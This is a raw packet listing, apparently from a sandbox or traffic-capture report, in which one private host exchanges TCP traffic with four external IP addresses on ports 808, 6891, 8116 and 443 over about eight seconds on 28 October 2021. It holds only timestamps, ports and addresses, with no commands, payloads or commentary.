Oct 28, 2021 04:51:51.045633078 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:51.045723915 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:51.045931101 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:51.045989990 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:51.053071976 CEST	49861	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:51.077369928 CEST	6891	49865	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.077573061 CEST	6891	49865	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.077655077 CEST	49865	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.078059912 CEST	49865	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.082010984 CEST	49865	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.082124949 CEST	49865	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.163193941 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.215895891 CEST	808	49861	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:51.248382092 CEST	6891	49865	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.248409033 CEST	6891	49865	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.248425961 CEST	6891	49865	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.329582930 CEST	6891	49867	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.329726934 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.330737114 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.502361059 CEST	6891	49867	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.502475977 CEST	6891	49867	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.502573013 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.503129005 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.507452965 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.507567883 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.627743006 CEST	6891	49865	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.627768993 CEST	6891	49865	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.627863884 CEST	49865	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.627922058 CEST	49865	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.631480932 CEST	49865	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:51.673810005 CEST	6891	49867	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.673834085 CEST	6891	49867	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.740643024 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:51.792752028 CEST	8116	49868	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:51.792860031 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:51.793693066 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:51.797808886 CEST	6891	49865	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:51.845530987 CEST	8116	49868	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:51.845743895 CEST	8116	49868	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:51.845913887 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:51.846551895 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:51.851905107 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:51.852085114 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:51.903857946 CEST	8116	49868	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:51.904189110 CEST	8116	49868	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.057395935 CEST	6891	49867	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:52.057420969 CEST	6891	49867	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:52.057559013 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:52.057621002 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:52.064878941 CEST	49867	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:52.073194027 CEST	8116	49868	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.073215008 CEST	8116	49868	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.073303938 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.073623896 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.076395035 CEST	49868	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.128155947 CEST	8116	49868	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.182568073 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.230453014 CEST	8116	49869	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.230557919 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.231106997 CEST	6891	49867	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:52.231551886 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.268799067 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.268838882 CEST	443	49870	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:52.268985987 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.269639969 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.269650936 CEST	443	49870	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:52.279234886 CEST	8116	49869	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.279356956 CEST	8116	49869	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.279474974 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.280036926 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.284565926 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.284946918 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.332405090 CEST	8116	49869	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.332890034 CEST	8116	49869	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.502809048 CEST	8116	49869	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.502827883 CEST	8116	49869	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.502938032 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.502958059 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.509917021 CEST	49869	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:52.557611942 CEST	8116	49869	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:52.641396999 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.641439915 CEST	443	49871	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:52.641628981 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.642108917 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.642138004 CEST	443	49871	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:52.800910950 CEST	443	49870	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:52.805192947 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.805881977 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.805892944 CEST	443	49870	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:52.812275887 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.812299013 CEST	443	49870	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:52.812427998 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:52.812443972 CEST	443	49870	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.137593031 CEST	443	49871	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.140500069 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.141258001 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.141284943 CEST	443	49871	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.145551920 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.145570993 CEST	443	49871	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.145626068 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.145636082 CEST	443	49871	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.524957895 CEST	443	49870	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.525048971 CEST	443	49870	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.525105953 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.525120974 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.531280041 CEST	49870	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.531323910 CEST	443	49870	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.695369005 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:53.836304903 CEST	443	49871	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.836385012 CEST	443	49871	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.836456060 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.836491108 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.847708941 CEST	49871	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:53.847748995 CEST	443	49871	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:53.853604078 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:53.853744030 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:53.854285955 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:53.960437059 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.012283087 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.012528896 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.012633085 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.013151884 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.018599987 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.018717051 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.121205091 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.121331930 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.122235060 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.171252966 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.177165031 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.177190065 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.177197933 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.177208900 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.282901049 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.282979965 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.283045053 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.283950090 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.287900925 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.288016081 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.444590092 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.448585987 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.448610067 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.448625088 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.561079979 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.561111927 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.561183929 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.561227083 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.565844059 CEST	49872	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.678061962 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:54.723974943 CEST	808	49872	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.832340956 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.832379103 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:54.832499981 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.832539082 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.840804100 CEST	49873	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:54.843426943 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:54.843534946 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:54.844396114 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:54.965302944 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.001492023 CEST	808	49873	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:55.009933949 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.010113955 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.010231018 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.010787010 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.014779091 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.014877081 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.131711006 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.131886959 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.133847952 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.181725979 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.181796074 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.221290112 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.300247908 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.300304890 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.300375938 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.303412914 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.325860023 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.325978041 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.492296934 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.492321968 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.563261032 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.563321114 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.563395023 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.563452005 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.565965891 CEST	49875	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.678256989 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:55.731003046 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:55.731097937 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:55.731164932 CEST	6891	49875	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.732348919 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:55.784709930 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:55.785134077 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:55.785231113 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:55.785959005 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:55.792062998 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:55.792248011 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:55.844494104 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:55.844688892 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:55.869442940 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.869472027 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:55.869678020 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:55.886440992 CEST	49876	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:56.011831045 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.029330015 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.029361010 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.029464006 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.029506922 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.032527924 CEST	49877	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.052922964 CEST	6891	49876	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:56.064872980 CEST	8116	49878	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.065454960 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.066862106 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.085135937 CEST	8116	49877	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.119580984 CEST	8116	49878	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.119879007 CEST	8116	49878	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.120122910 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.120902061 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.128196955 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.128348112 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.150870085 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.150930882 CEST	443	49879	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:56.151082039 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.152239084 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.152275085 CEST	443	49879	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:56.181099892 CEST	8116	49878	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.181461096 CEST	8116	49878	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.351309061 CEST	8116	49878	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.351332903 CEST	8116	49878	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.351527929 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.351592064 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.364645958 CEST	49878	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:56.417392015 CEST	8116	49878	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:56.480959892 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.481021881 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:56.481173038 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.481976032 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.482002020 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:56.676175117 CEST	443	49879	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:56.676331997 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.677145958 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.677164078 CEST	443	49879	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:56.682518959 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.682554960 CEST	443	49879	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:56.682720900 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:56.682737112 CEST	443	49879	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.002645016 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.002737045 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.003437996 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.003467083 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.007962942 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.008003950 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.008039951 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.008054018 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.395606995 CEST	443	49879	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.395673037 CEST	443	49879	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.395720005 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.395740986 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.401336908 CEST	49879	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.401371956 CEST	443	49879	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.523775101 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:57.684040070 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:57.684166908 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:57.684720993 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:57.722023010 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.722110987 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.722114086 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.722166061 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.729290009 CEST	49880	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:57.729332924 CEST	443	49880	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:57.844863892 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:57.844935894 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:57.845021009 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:57.845432997 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:57.848297119 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:57.848402023 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:57.856724024 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.005565882 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.008498907 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.008523941 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.008533955 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.008548021 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.021045923 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.021173000 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.021836042 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.186120987 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.186218977 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.186289072 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.186840057 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.191076994 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.191226006 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.351032019 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.355387926 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.355499029 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.355519056 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.355623960 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.402581930 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.402611017 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.402692080 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.402750969 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.404727936 CEST	49882	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.521249056 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:58.564870119 CEST	808	49882	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.686609983 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:58.686718941 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:58.687298059 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:58.733241081 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.733263016 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:58.733350039 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.733375072 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.741763115 CEST	49883	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:58.852417946 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:58.852534056 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:58.852740049 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:58.853801012 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:58.858122110 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:58.858182907 CEST	49884	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:58.864558935 CEST	49885	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:58.906043053 CEST	808	49883	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:59.023396969 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.023432016 CEST	6891	49884	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.029932022 CEST	6891	49885	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.030083895 CEST	49885	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.030546904 CEST	49885	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.195888042 CEST	6891	49885	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.195933104 CEST	6891	49885	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:59.196033955 CEST	49885	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.196466923 CEST	49885	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.199433088 CEST	49885	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.199512959 CEST	49885	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:59.364918947 CEST	6891	49885	45.77.0.96	192.168.2.5
